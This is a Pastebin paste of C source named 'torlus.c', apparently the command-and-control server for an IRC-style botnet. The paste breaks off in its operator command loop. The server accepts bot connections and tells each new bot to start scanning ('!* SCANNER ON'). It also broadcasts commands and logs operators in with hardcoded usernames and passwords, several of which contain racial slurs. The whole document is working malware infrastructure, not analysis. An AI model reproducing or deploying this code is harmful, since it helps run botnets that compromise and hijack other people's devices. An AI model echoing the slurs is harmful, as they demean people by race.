Advertisement
LNO_LiGhT

torlus.c | with nicknames no timestamp :D

Feb 22nd, 2016
1,606
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 30.18 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17.  
  18. #define MY_MGM_FLUNZYP "Analbeadz6969!!!@"
  19. #define MY_MGM_FLUNZYU "Nigger"
  20. #define MY_MGM_LORDP "ohsweetjeebus%$"
  21. #define MY_MGM_LORDU "Lawdy"
  22. #define MY_MGM_LIGHTP "lol"
  23. #define MY_MGM_LIGHTU "lol"
  24. #define MY_MGM_HAILP "niggerhelicopter"
  25. #define MY_MGM_HAILU "Cold"
  26. #define MY_MGM_ASAPP "ImTehScatMayuhn047!"
  27. #define MY_MGM_ASAPU "Dutchiepoo"
  28. #define MY_MGM_SDNP "PumpkinSpiceLatte69@@"
  29. #define MY_MGM_SDNU "Lavagirl"
  30. #define MY_MGM_PHP "HOSTGOTBOOTED"
  31. #define MY_MGM_PHU "RoBeRT"
  32. #define MY_MGM_DAVP "DisIzATempPazwurd"
  33. #define MY_MGM_DAVU "DisIsATempLawgin"
  34. #define MY_MGM_PORT 1
  35.  
  36. #define MAXFDS 1000000 // No way we actually reach this amount. Ever.
  37. int FLUNZY=0, LIGHT=0, LORD=0, HAIL=0, ASAP=0, DAV=0, PH=0, SDN=0;
  38.  
  39. struct clientdata_t {
  40.         uint32_t ip;
  41.         char connected;
  42. } clients[MAXFDS];
  43. struct telnetdata_t {
  44.         int connected;
  45. } managements[MAXFDS];
  46. struct args {
  47.         int sock;
  48.         struct sockaddr_in cli_addr;
  49. };
  50. static volatile FILE *fileFD;
  51. static volatile int epollFD = 0;
  52. static volatile int listenFD = 0;
  53. static volatile int managesConnected = 0;
  54. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  55. {
  56.         int total = 0, got = 1;
  57.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  58.         return got;
  59. }
  60.  
  61. void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
  62. {
  63.     int i;
  64.     int begin = 0;
  65.     int end = strlen(str) - 1;
  66.     while (isspace(str[begin])) begin++;
  67.     while ((end >= begin) && isspace(str[end])) end--;
  68.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  69.     str[i - begin] = '\0';
  70. }
  71.  
  72.  
  73. static int make_socket_non_blocking (int sfd)
  74. { // man fcntl
  75.         int flags, s;
  76.         flags = fcntl (sfd, F_GETFL, 0);
  77.         if (flags == -1)
  78.         {
  79.                 perror ("fcntl");
  80.                 return -1;
  81.         }
  82.         flags |= O_NONBLOCK;
  83.         /*
  84.               F_SETFL (int)
  85.               Set  the  file  status  flags  to  the  value specified by arg.  File access mode (O_RDONLY, O_WRONLY, O_RDWR) and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are
  86.               ignored.  On Linux this command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
  87.         */
  88.         s = fcntl (sfd, F_SETFL, flags);
  89.         if (s == -1)
  90.         {
  91.                 perror ("fcntl");
  92.                 return -1;
  93.         }
  94.         return 0;
  95. }
  96.  
  97.  
  98. static int create_and_bind (char *port)
  99. {
  100.         struct addrinfo hints;
  101.         struct addrinfo *result, *rp;
  102.         int s, sfd;
  103.         memset (&hints, 0, sizeof (struct addrinfo));
  104.         hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  105.         hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  106.         hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  107.         s = getaddrinfo (NULL, port, &hints, &result);
  108.         if (s != 0)
  109.         {
  110.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  111.                 return -1;
  112.         }
  113.         for (rp = result; rp != NULL; rp = rp->ai_next)
  114.         {
  115.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  116.                 if (sfd == -1) continue;
  117.                 int yes = 1;
  118.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  119.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  120.                 if (s == 0)
  121.                 {
  122.                         break;
  123.                 }
  124.                 close (sfd);
  125.         }
  126.         if (rp == NULL)
  127.         {
  128.                 fprintf (stderr, "Could not bind\n");
  129.                 return -1;
  130.         }
  131.         freeaddrinfo (result);
  132.         return sfd;
  133. }
  134. void broadcast(char *msg, int us, int managementcmd) // sends message to all bots, notifies the management clients of this happening
  135. {
  136.         int sendMGM = 1;
  137.         if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
  138.         char *wot = malloc(strlen(msg) + 10);
  139.         memset(wot, 0, strlen(msg) + 10);
  140.         strcpy(wot, msg);
  141.         trim(wot);
  142.         time_t rawtime;
  143.         struct tm * timeinfo;
  144.         time(&rawtime);
  145.         timeinfo = localtime(&rawtime);
  146.         char *timestamp = asctime(timeinfo);
  147.         trim(timestamp);
  148.         int i;
  149.         for(i = 0; i < MAXFDS; i++)
  150.         {
  151.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  152.                 if(managementcmd == 1){
  153.                     if(sendMGM && managements[i].connected)
  154.                     {
  155.                             if(us == FLUNZY){
  156.                                 send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  157.                                 send(i, "Flunzy:\x1b[37m ", 13, MSG_NOSIGNAL);
  158.                                 printf("sent to fd: %d\n", i);
  159.                                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  160.                                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  161.                                 else send(i, "\n", 1, MSG_NOSIGNAL);
  162.                             }
  163.                             else if(us == LIGHT){
  164.                                 send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  165.                                 send(i, "LiGhT:\x1b[37m ", 13, MSG_NOSIGNAL);
  166.                                 printf("sent to fd: %d\n", i);
  167.                                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  168.                                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  169.                                 else send(i, "\n", 1, MSG_NOSIGNAL);
  170.                             }
  171.                             else if(us == HAIL){
  172.                                 send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  173.                                 send(i, "Melt:\x1b[37m ", 12, MSG_NOSIGNAL);
  174.                                 printf("sent to fd: %d\n", i);
  175.                                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  176.                                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  177.                                 else send(i, "\n", 1, MSG_NOSIGNAL);
  178.                             }
  179.                             else if(us == LORD){
  180.                                 send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  181.                                 send(i, "Lord:\x1b[37m ", 12, MSG_NOSIGNAL);
  182.                                 printf("sent to fd: %d\n", i);
  183.                                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  184.                                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  185.                                 else send(i, "\n", 1, MSG_NOSIGNAL);
  186.                             }
  187.                             else if(us == ASAP){
  188.                                 send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  189.                                 send(i, "Dutch:\x1b[37m ", 13, MSG_NOSIGNAL);
  190.                                 printf("sent to fd: %d\n", i);
  191.                                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  192.                                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  193.                                 else send(i, "\n", 1, MSG_NOSIGNAL);
  194.                             }
  195.                             else if(us == SDN){
  196.                                 send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  197.                                 send(i, "Serlo:\x1b[37m ", 13, MSG_NOSIGNAL);
  198.                                 printf("sent to fd: %d\n", i);
  199.                                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  200.                                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  201.                                 else send(i, "\n", 1, MSG_NOSIGNAL);
  202.                             }
  203.                             else if(us == PH){
  204.                                 send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  205.                                 send(i, "Versonic:\x1b[37m ", 16, MSG_NOSIGNAL);
  206.                                 printf("sent to fd: %d\n", i);
  207.                                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  208.                                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  209.                                 else send(i, "\n", 1, MSG_NOSIGNAL);
  210.                             }
  211.                             else if(us == DAV){
  212.                                 send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  213.                                 send(i, "BackupLogin:\x1b[37m ", 19, MSG_NOSIGNAL);
  214.                                 printf("sent to fd: %d\n", i);
  215.                                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  216.                                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  217.                                 else send(i, "\n", 1, MSG_NOSIGNAL);
  218.                             }
  219.                     }
  220.                 }
  221.                 else{
  222.                     printf("sent to fd: %d\n", i);
  223.                     send(i, msg, strlen(msg), MSG_NOSIGNAL);
  224.                     if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  225.                     else send(i, "\n", 1, MSG_NOSIGNAL);
  226.                 }
  227.         }
  228.         free(wot);
  229. }
  230.  
  231. void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
  232. {
  233.         struct epoll_event event;
  234.         struct epoll_event *events;
  235.         int s;
  236.         events = calloc (MAXFDS, sizeof event);
  237.         while (1)
  238.         {
  239.                 int n, i;
  240.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  241.                 for (i = 0; i < n; i++)
  242.                 {
  243.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  244.                         {
  245.                                 clients[events[i].data.fd].connected = 0;
  246.                                 close(events[i].data.fd);
  247.                                 continue;
  248.                         }
  249.                         else if (listenFD == events[i].data.fd)
  250.                         {
  251.                                 while (1)
  252.                                 {
  253.                                         struct sockaddr in_addr;
  254.                                         socklen_t in_len;
  255.                                         int infd, ipIndex;
  256.  
  257.                                         in_len = sizeof in_addr;
  258.                                         infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
  259.                                         if (infd == -1)
  260.                                         {
  261.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  262.                                                 else
  263.                                                 {
  264.                                                         perror ("accept");
  265.                                                         break;
  266.                                                 }
  267.                                         }
  268.  
  269.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  270.  
  271.                                         int dup = 0;
  272.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
  273.                                         {
  274.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  275.  
  276.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  277.                                                 {
  278.                                                         dup = 1;
  279.                                                         break;
  280.                                                 }
  281.                                         }
  282.  
  283.                                         if(dup)
  284.                                         {
  285.                                                 printf("dup client\n"); // warns the operator on command line
  286.                                                 if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } // orders all the bots to immediately kill themselves if we see a duplicate client! MAXIMUM PARANOIA
  287.                                                 if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; } // same thing as above.
  288.                                                 close(infd);
  289.                                                 continue;
  290.                                         }
  291.  
  292.                                         s = make_socket_non_blocking (infd);
  293.                                         if (s == -1) { close(infd); break; }
  294.  
  295.                                         event.data.fd = infd;
  296.                                         event.events = EPOLLIN | EPOLLET;
  297.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  298.                                         if (s == -1)
  299.                                         {
  300.                                                 perror ("epoll_ctl");
  301.                                                 close(infd);
  302.                                                 break;
  303.                                         }
  304.  
  305.                                         clients[infd].connected = 1;
  306.                                         send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  307.                                 }
  308.                                 continue;
  309.                         }
  310.                         else
  311.                         {
  312.                                 int thefd = events[i].data.fd;
  313.                                 struct clientdata_t *client = &(clients[thefd]);
  314.                                 int done = 0;
  315.                                 client->connected = 1;
  316.                                 while (1)
  317.                                 {
  318.                                         ssize_t count;
  319.                                         char buf[2048];
  320.                                         memset(buf, 0, sizeof buf);
  321.  
  322.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  323.                                         {
  324.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  325.                                                 trim(buf);
  326.                                                 if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  327.                                                 {
  328.                                                         if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  329.                                                         continue;
  330.                                                 }
  331.                                                 if(strcmp(buf, "PONG") == 0)
  332.                                                 {
  333.                                                         if(send(thefd, "PING\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  334.                                                         continue;
  335.                                                 }
  336.  
  337.                                                 printf("buf: \"%s\"\n", buf);
  338.                                         }
  339.  
  340.                                         if (count == -1)
  341.                                         {
  342.                                                 if (errno != EAGAIN)
  343.                                                 {
  344.                                                         done = 1;
  345.                                                 }
  346.                                                 break;
  347.                                         }
  348.                                         else if (count == 0)
  349.                                         {
  350.                                                 done = 1;
  351.                                                 break;
  352.                                         }
  353.                                 }
  354.  
  355.                                 if (done)
  356.                                 {
  357.                                         client->connected = 0;
  358.                                         close(thefd);
  359.                                 }
  360.                         }
  361.                 }
  362.         }
  363. }
  364.  
  365. unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
  366. {
  367.         int i = 0, total = 0;
  368.         for(i = 0; i < MAXFDS; i++)
  369.         {
  370.                 if(!clients[i].connected) continue;
  371.                 total++;
  372.         }
  373.  
  374.         return total;
  375. }
  376.  
  377. static int *fdopen_pids;
  378.  
  379. int fdpopen(unsigned char *program, register unsigned char *type)
  380. {
  381.     register int iop;
  382.     int pdes[2], fds, pid;
  383.  
  384.     if (*type != 'r' && *type != 'w' || type[1]) return -1;
  385.  
  386.     if (pipe(pdes) < 0) return -1;
  387.     if (fdopen_pids == NULL) {
  388.         if ((fds = getdtablesize()) <= 0) return -1;
  389.         if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  390.         memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  391.     }
  392.  
  393.     switch (pid = vfork())
  394.     {
  395.     case -1:
  396.         close(pdes[0]);
  397.         close(pdes[1]);
  398.         return -1;
  399.     case 0:
  400.         if (*type == 'r') {
  401.             if (pdes[1] != 1) {
  402.                 dup2(pdes[1], 1);
  403.                 close(pdes[1]);
  404.             }
  405.             close(pdes[0]);
  406.         } else {
  407.             if (pdes[0] != 0) {
  408.                 (void) dup2(pdes[0], 0);
  409.                 (void) close(pdes[0]);
  410.             }
  411.             (void) close(pdes[1]);
  412.         }
  413.         execl("/bin/sh", "sh", "-c", program, NULL);
  414.         _exit(127);
  415.     }
  416.     if (*type == 'r') {
  417.         iop = pdes[0];
  418.         (void) close(pdes[1]);
  419.     } else {
  420.         iop = pdes[1];
  421.         (void) close(pdes[0]);
  422.     }
  423.     fdopen_pids[iop] = pid;
  424.     return (iop);
  425. }
  426.  
  427. int fdpclose(int iop)
  428. {
  429.     register int fdes;
  430.     sigset_t omask, nmask;
  431.     int pstat;
  432.     register int pid;
  433.  
  434.     if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  435.     (void) close(iop);
  436.     sigemptyset(&nmask);
  437.     sigaddset(&nmask, SIGINT);
  438.     sigaddset(&nmask, SIGQUIT);
  439.     sigaddset(&nmask, SIGHUP);
  440.     (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  441.     do {
  442.         pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  443.     } while (pid == -1 && errno == EINTR);
  444.     (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  445.     fdopen_pids[fdes] = 0;
  446.     return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  447. }
  448. void *titleWriter(void *sock) // just an informational banner
  449. {
  450.         // this LOOKS vulnerable, but it's actually not.
  451.         // there's no way we can have 2000 digits' worth of clients/bots connected to overflow that char array        
  452.         int thefd = (int)sock;
  453.         char string[2048];
  454.         while(1)
  455.         {
  456.                 memset(string, 0, 2048);
  457.                 sprintf(string, "%c]0;Bots connected: %d | Users connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  458.                 // \007 is a bell character... causes a beep. Why is there a beep here?
  459.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  460.  
  461.                 sleep(2);
  462.         }
  463. }
  464. void *telnetWorker(void *sock)
  465. {
  466.         int thefd = (int)sock;
  467.         managesConnected++;
  468.         pthread_t title;
  469.         char buf[2048];
  470.         char* nickstring;
  471.         memset(buf, 0, sizeof buf);
  472.        
  473.         if(send(thefd, "\x1b[32mNickname:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  474.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  475.         trim(buf);
  476.         nickstring = ("%s", buf);
  477.         if(strcmp(nickstring, MY_MGM_FLUNZYU) == 0){
  478.             if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  479.             if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  480.             if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  481.             trim(buf);
  482.             if(strcmp(buf, MY_MGM_FLUNZYP) != 0) goto failed;
  483.             memset(buf, 0, 2048);
  484.             FLUNZY = thefd;
  485.             if(FLUNZY == LIGHT){
  486.                 LIGHT = 0;
  487.             }
  488.             else if(FLUNZY == HAIL){
  489.                 HAIL = 0;
  490.             }
  491.             else if(FLUNZY == LORD){
  492.                 LORD = 0;
  493.             }
  494.             else if(FLUNZY == ASAP){
  495.            
  496.                 ASAP = 0;
  497.             }
  498.             else if(FLUNZY == SDN){
  499.            
  500.                 SDN = 0;
  501.             }
  502.             else if(FLUNZY == DAV){
  503.            
  504.                 DAV = 0;
  505.             }
  506.             else if(FLUNZY == PH){
  507.            
  508.                 PH = 0;
  509.             }          
  510.             goto fak;
  511.         }
  512.         if(strcmp(nickstring, MY_MGM_ASAPU) == 0){
  513.             if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  514.             if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  515.             if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  516.             trim(buf);
  517.             if(strcmp(buf, MY_MGM_ASAPP) != 0) goto failed;
  518.             memset(buf, 0, 2048);
  519.             ASAP = thefd;
  520.             if(ASAP == LIGHT){
  521.                 LIGHT = 0;
  522.             }
  523.             else if(ASAP == HAIL){
  524.                 HAIL = 0;
  525.             }
  526.             else if(ASAP == LORD){
  527.                 LORD = 0;
  528.             }
  529.             else if(ASAP == FLUNZY){
  530.                 FLUNZY = 0;
  531.             }
  532.             else if(ASAP == SDN){
  533.            
  534.                 SDN = 0;
  535.             }
  536.             else if(ASAP == DAV){
  537.            
  538.                 DAV = 0;
  539.             }
  540.             else if(ASAP == PH){
  541.            
  542.                 PH = 0;
  543.             }          
  544.             goto fak;
  545.         }
  546.         else if(strcmp(nickstring, MY_MGM_LIGHTU) == 0){
  547.             if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  548.             if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  549.             if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  550.             trim(buf);
  551.             if(strcmp(buf, MY_MGM_LIGHTP) != 0) goto failed;
  552.             memset(buf, 0, 2048);
  553.             LIGHT = thefd;
  554.             if(LIGHT == FLUNZY){
  555.                 FLUNZY = 0;
  556.             }
  557.             else if(LIGHT == HAIL){
  558.                 HAIL = 0;
  559.             }
  560.             else if(LIGHT == LORD){
  561.                 LORD = 0;
  562.             }
  563.             else if(LIGHT == ASAP){
  564.                 ASAP = 0;
  565.             }
  566.             else if(LIGHT == SDN){
  567.            
  568.                 SDN = 0;
  569.             }
  570.             else if(LIGHT == DAV){
  571.            
  572.                 DAV = 0;
  573.             }
  574.             else if(LIGHT == PH){
  575.            
  576.                 PH = 0;
  577.             }  
  578.             goto fak;
  579.         }
  580.         else if(strcmp(nickstring, MY_MGM_LORDU) == 0){
  581.             if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  582.             if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  583.             if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  584.             trim(buf);
  585.             if(strcmp(buf, MY_MGM_LORDP) != 0) goto failed;
  586.             memset(buf, 0, 2048);
  587.             LORD = thefd;
  588.             if(LORD == LIGHT){
  589.                 LIGHT = 0;
  590.             }
  591.             else if(LORD == HAIL){
  592.                 HAIL = 0;
  593.             }
  594.             else if(LORD == FLUNZY){
  595.                 FLUNZY = 0;
  596.             }
  597.             else if(LORD == ASAP){
  598.                 ASAP = 0;
  599.             }
  600.             else if(LORD == SDN){
  601.            
  602.                 SDN = 0;
  603.             }
  604.             else if(LORD == DAV){
  605.            
  606.                 DAV = 0;
  607.             }
  608.             else if(LORD == PH){
  609.            
  610.                 PH = 0;
  611.             }  
  612.             goto fak;
  613.         }
  614.         else if(strcmp(nickstring, MY_MGM_HAILU) == 0){
  615.             if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  616.             if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  617.             if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  618.             trim(buf);
  619.             if(strcmp(buf, MY_MGM_HAILP) != 0) goto failed;
  620.             memset(buf, 0, 2048);
  621.             HAIL = thefd;
  622.             if(HAIL == LIGHT){
  623.                 LIGHT = 0;
  624.             }
  625.             else if(HAIL == FLUNZY){
  626.                 FLUNZY = 0;
  627.             }
  628.             else if(HAIL == LORD){
  629.                 LORD = 0;
  630.             }
  631.             else if(HAIL == ASAP){
  632.                 ASAP = 0;
  633.             }
  634.             else if(HAIL == SDN){
  635.            
  636.                 SDN = 0;
  637.             }
  638.             else if(HAIL == DAV){
  639.            
  640.                 DAV = 0;
  641.             }
  642.             else if(HAIL == PH){
  643.            
  644.                 PH = 0;
  645.             }  
  646.             goto fak;
  647.         }
  648.         else if(strcmp(nickstring, MY_MGM_SDNU) == 0){
  649.             if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  650.             if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  651.             if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  652.             trim(buf);
  653.             if(strcmp(buf, MY_MGM_SDNP) != 0) goto failed;
  654.             memset(buf, 0, 2048);
  655.             SDN = thefd;
  656.             if(SDN == LIGHT){
  657.                 LIGHT = 0;
  658.             }
  659.             else if(SDN == FLUNZY){
  660.                 FLUNZY = 0;
  661.             }
  662.             else if(SDN == LORD){
  663.                 LORD = 0;
  664.             }
  665.             else if(SDN == ASAP){
  666.                 ASAP = 0;
  667.             }
  668.             else if(SDN == HAIL){
  669.            
  670.                 HAIL = 0;
  671.             }
  672.             else if(SDN == DAV){
  673.            
  674.                 DAV = 0;
  675.             }
  676.             else if(SDN == PH){
  677.            
  678.                 PH = 0;
  679.             }  
  680.             goto fak;
  681.         }
  682.         else if(strcmp(nickstring, MY_MGM_DAVU) == 0){
  683.             if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  684.             if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  685.             if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  686.             trim(buf);
  687.             if(strcmp(buf, MY_MGM_DAVP) != 0) goto failed;
  688.             memset(buf, 0, 2048);
  689.             DAV = thefd;
  690.             if(DAV == LIGHT){
  691.                 LIGHT = 0;
  692.             }
  693.             else if(DAV == FLUNZY){
  694.                 FLUNZY = 0;
  695.             }
  696.             else if(DAV == LORD){
  697.                 LORD = 0;
  698.             }
  699.             else if(DAV == ASAP){
  700.                 ASAP = 0;
  701.             }
  702.             else if(DAV == SDN){
  703.            
  704.                 SDN = 0;
  705.             }
  706.             else if(DAV == HAIL){
  707.            
  708.                 HAIL = 0;
  709.             }
  710.             else if(DAV == PH){
  711.            
  712.                 PH = 0;
  713.             }  
  714.             goto fak;
  715.         }
  716.         else if(strcmp(nickstring, MY_MGM_PHU) == 0){
  717.             if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  718.             if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  719.             if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  720.             trim(buf);
  721.             if(strcmp(buf, MY_MGM_PHP) != 0) goto failed;
  722.             memset(buf, 0, 2048);
  723.             PH = thefd;
  724.             if(PH == LIGHT){
  725.                 LIGHT = 0;
  726.             }
  727.             else if(PH == FLUNZY){
  728.                 FLUNZY = 0;
  729.             }
  730.             else if(PH == LORD){
  731.                 LORD = 0;
  732.             }
  733.             else if(PH == ASAP){
  734.                 ASAP = 0;
  735.             }
  736.             else if(PH == SDN){
  737.            
  738.                 SDN = 0;
  739.             }
  740.             else if(PH == DAV){
  741.            
  742.                 DAV = 0;
  743.             }
  744.             else if(PH == HAIL){
  745.            
  746.                 HAIL= 0;
  747.             }  
  748.             goto fak;
  749.         }
  750.  
  751.         else if(strcmp(nickstring, MY_MGM_HAILU) != 0|| strcmp(nickstring, MY_MGM_FLUNZYU) != 0 || strcmp(nickstring, MY_MGM_LIGHTU) != 0 || strcmp(nickstring, MY_MGM_LORDU) != 0 || strcmp(nickstring, MY_MGM_SDNU) != 0 || strcmp(nickstring, MY_MGM_DAVU) != 0|| strcmp(nickstring, MY_MGM_PHU) != 0){
  752.             if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  753.             if(send(thefd, "\x1b[31m*          INVALID CREDENTIALS          *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  754.             goto end;
  755.         }
  756.         failed:
  757.             if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  758.             if(send(thefd, "\x1b[31m*          INVALID CREDENTIALS          *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  759.             goto end;
  760.         fak:
  761.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  762.         pthread_create(&title, NULL, &titleWriter, sock); /* writes the informational banner to the admin after a login */
  763.         if(send(thefd, "\x1b[1m\x1b[36m*****************************************\r\n", 54, MSG_NOSIGNAL) == -1) goto end;
  764.         if(send(thefd, "*           \x1b[37mWELCOME TO TORLUS\x1b[36m           *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  765.         if(send(thefd, "*          \x1b[37mIn Secrecy We Trust\x1b[36m          *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  766.         if(send(thefd, "*****************************************\r\n\r\n\x1b[36m| \x1b[37m", 59, MSG_NOSIGNAL) == -1) goto end;
  767.         managements[thefd].connected = 1;
  768.         while(fdgets(buf, sizeof buf, thefd) > 0)
  769.         {
  770.                 trim(buf);
  771.                 if(send(thefd, "\x1b[36m| \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  772.                 if(strlen(buf) == 0) continue;
  773.                 char* falsejuan = ">- oohkillem69";
  774.                 char* realjuan = "!* OHKILLEM";
  775.                 char* realljuan = "! OHKILLEM";
  776.                 char* falsetu = ">- turndatsheitawf";
  777.                 char* realtu = "!* SCANNER OFF";
  778.                 char* realltu = "! SCANNER OFF";
